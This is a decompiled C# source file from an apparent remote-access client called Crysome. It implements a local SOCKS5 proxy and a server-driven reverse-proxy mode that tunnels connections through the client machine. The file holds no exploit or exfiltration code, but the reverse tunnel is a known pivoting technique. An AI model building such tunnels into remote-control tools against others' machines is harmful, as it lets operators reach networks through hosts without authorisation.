using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;

namespace Crysome.Client.Handlers;

public static class ProxyHandlers
{
	private static TcpListener _socksListener;

	private static volatile bool _running;

	private static CrysomeClient _serverClient;

	private static volatile bool _reverseProxyMode;

	private static readonly ConcurrentDictionary<int, ReverseProxyStream> _reverseProxyStreams = new ConcurrentDictionary<int, ReverseProxyStream>();

	public static void HandleStartProxy(CrysomeClient client, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_00f3: Unknown result type (might be due to invalid IL or missing references)
		//IL_00fd: Expected O, but got Unknown
		//IL_001d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0027: Expected O, but got Unknown
		//IL_0038: Unknown result type (might be due to invalid IL or missing references)
		//IL_0042: Expected O, but got Unknown
		//IL_00d4: Unknown result type (might be due to invalid IL or missing references)
		//IL_00de: Expected O, but got Unknown
		_ = (StartProxyRequestPacket)packet;
		_serverClient = client;
		if (_reverseProxyMode)
		{
			client.SendPacket((IPacket)new ProxyStatusResponsePacket(true, "Reverse proxy active"));
			return;
		}
		if (_running)
		{
			client.SendPacket((IPacket)new ProxyStatusResponsePacket(true, "Proxy already running"));
			return;
		}
		try
		{
			_socksListener = new TcpListener(IPAddress.Loopback, 0);
			_socksListener.Start();
			int port = ((IPEndPoint)_socksListener.LocalEndpoint).Port;
			_running = true;
			Program.Log("SOCKS5 proxy started on port " + port);
			Thread thread = new Thread((ThreadStart)delegate
			{
				AcceptLoop();
			});
			thread.IsBackground = true;
			thread.Start();
			client.SendPacket((IPacket)new ProxyStatusResponsePacket(true, "Proxy active on port " + port));
		}
		catch (Exception ex)
		{
			client.SendPacket((IPacket)new ProxyStatusResponsePacket(false, "Failed: " + ex.Message));
		}
	}

	public static void HandleStartReverseProxy(CrysomeClient client, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		//IL_00b5: Unknown result type (might be due to invalid IL or missing references)
		//IL_00bf: Expected O, but got Unknown
		StartReverseProxyPacket val = (StartReverseProxyPacket)packet;
		_running = false;
		try
		{
			_socksListener?.Stop();
		}
		catch
		{
		}
		_socksListener = null;
		KeyValuePair<int, ReverseProxyStream>[] array = _reverseProxyStreams.ToArray();
		for (int i = 0; i < array.Length; i++)
		{
			KeyValuePair<int, ReverseProxyStream> keyValuePair = array[i];
			keyValuePair.Value.CloseFromRemote();
			_reverseProxyStreams.TryRemove(keyValuePair.Key, out var _);
		}
		_reverseProxyMode = true;
		_serverClient = client;
		Program.Log("Reverse proxy mode: use 127.0.0.1:" + val.ServerPort + " on the server");
		client.SendPacket((IPacket)new ProxyStatusResponsePacket(true, "Reverse proxy ready on 127.0.0.1:" + val.ServerPort));
	}

	public static void HandleStopProxy(CrysomeClient client, IPacket packet)
	{
		//IL_007d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0087: Expected O, but got Unknown
		_running = false;
		_reverseProxyMode = false;
		try
		{
			_socksListener?.Stop();
		}
		catch
		{
		}
		_socksListener = null;
		KeyValuePair<int, ReverseProxyStream>[] array = _reverseProxyStreams.ToArray();
		for (int i = 0; i < array.Length; i++)
		{
			KeyValuePair<int, ReverseProxyStream> keyValuePair = array[i];
			keyValuePair.Value.CloseFromRemote();
			_reverseProxyStreams.TryRemove(keyValuePair.Key, out var _);
		}
		Program.Log("SOCKS5 proxy stopped");
		client.SendPacket((IPacket)new ProxyStatusResponsePacket(false, "Proxy stopped"));
	}

	public static void HandleReverseProxyStart(CrysomeClient client, IPacket packet)
	{
		//IL_000e: Unknown result type (might be due to invalid IL or missing references)
		//IL_0014: Expected O, but got Unknown
		ReverseProxyStartPacket val = (ReverseProxyStartPacket)packet;
		int connId = val.ConnectionId;
		ReverseProxyStream stream = new ReverseProxyStream(delegate(byte[] data)
		{
			//IL_000d: Unknown result type (might be due to invalid IL or missing references)
			//IL_0017: Expected O, but got Unknown
			try
			{
				client.SendPacket((IPacket)new ReverseProxyDataPacket(connId, data));
			}
			catch
			{
			}
		});
		if (!_reverseProxyStreams.TryAdd(connId, stream))
		{
			stream.CloseFromRemote();
			return;
		}
		Thread thread = new Thread((ThreadStart)delegate
		{
			//IL_0043: Unknown result type (might be due to invalid IL or missing references)
			//IL_004d: Expected O, but got Unknown
			try
			{
				HandleSocksClientFromStream(stream, connId, client);
			}
			finally
			{
				_reverseProxyStreams.TryRemove(connId, out var _);
				stream.CloseFromRemote();
				try
				{
					client.SendPacket((IPacket)new ReverseProxyEndPacket(connId));
				}
				catch
				{
				}
			}
		});
		thread.IsBackground = true;
		thread.Start();
	}

	public static void HandleReverseProxyData(CrysomeClient client, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		ReverseProxyDataPacket val = (ReverseProxyDataPacket)packet;
		if (_reverseProxyStreams.TryGetValue(val.ConnectionId, out var value))
		{
			value.Push(val.Data);
		}
	}

	public static void HandleReverseProxyEnd(CrysomeClient client, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		ReverseProxyEndPacket val = (ReverseProxyEndPacket)packet;
		if (_reverseProxyStreams.TryRemove(val.ConnectionId, out var value))
		{
			value.CloseFromRemote();
		}
	}

	private static void AcceptLoop()
	{
		while (_running)
		{
			try
			{
				TcpClient inbound = _socksListener.AcceptTcpClient();
				Thread thread = new Thread((ThreadStart)delegate
				{
					HandleSocksClient(inbound);
				});
				thread.IsBackground = true;
				thread.Start();
			}
			catch
			{
				if (!_running)
				{
					break;
				}
			}
		}
	}

	private static void HandleSocksClient(TcpClient inbound)
	{
		try
		{
			HandleSocksClientFromStream(inbound.GetStream(), -1, null);
			inbound.Close();
		}
		catch
		{
			try
			{
				inbound.Close();
			}
			catch
			{
			}
		}
	}

	private static void HandleSocksClientFromStream(Stream stream, int connectionId, CrysomeClient client)
	{
		try
		{
			byte[] array = new byte[256];
			if (stream.Read(array, 0, array.Length) < 2 || array[0] != 5)
			{
				return;
			}
			stream.Write(new byte[2] { 5, 0 }, 0, 2);
			if (stream.Read(array, 0, array.Length) >= 7 && array[0] == 5 && array[1] == 1)
			{
				string text = "";
				int port = 0;
				if (array[3] == 1)
				{
					text = array[4] + "." + array[5] + "." + array[6] + "." + array[7];
					port = (array[8] << 8) | array[9];
				}
				else if (array[3] == 3)
				{
					int num = array[4];
					text = Encoding.ASCII.GetString(array, 5, num);
					port = (array[5 + num] << 8) | array[6 + num];
				}
				else if (array[3] == 4)
				{
					return;
				}
				Program.Log("SOCKS5 connect: " + text + ":" + port);
				TcpClient tcpClient = new TcpClient();
				tcpClient.Connect(text, port);
				byte[] array2 = new byte[10] { 5, 0, 0, 1, 0, 0, 0, 0, 0, 0 };
				stream.Write(array2, 0, array2.Length);
				NetworkStream remoteStream = tcpClient.GetStream();
				Thread thread = new Thread((ThreadStart)delegate
				{
					Relay(stream, remoteStream);
				})
				{
					IsBackground = true
				};
				Thread obj = new Thread((ThreadStart)delegate
				{
					Relay(remoteStream, stream);
				})
				{
					IsBackground = true
				};
				thread.Start();
				obj.Start();
				thread.Join();
				obj.Join();
				tcpClient.Close();
			}
		}
		catch
		{
		}
	}

	private static void Relay(Stream from, Stream to)
	{
		try
		{
			byte[] array = new byte[8192];
			int count;
			while ((count = from.Read(array, 0, array.Length)) > 0)
			{
				to.Write(array, 0, count);
			}
		}
		catch
		{
		}
	}
}
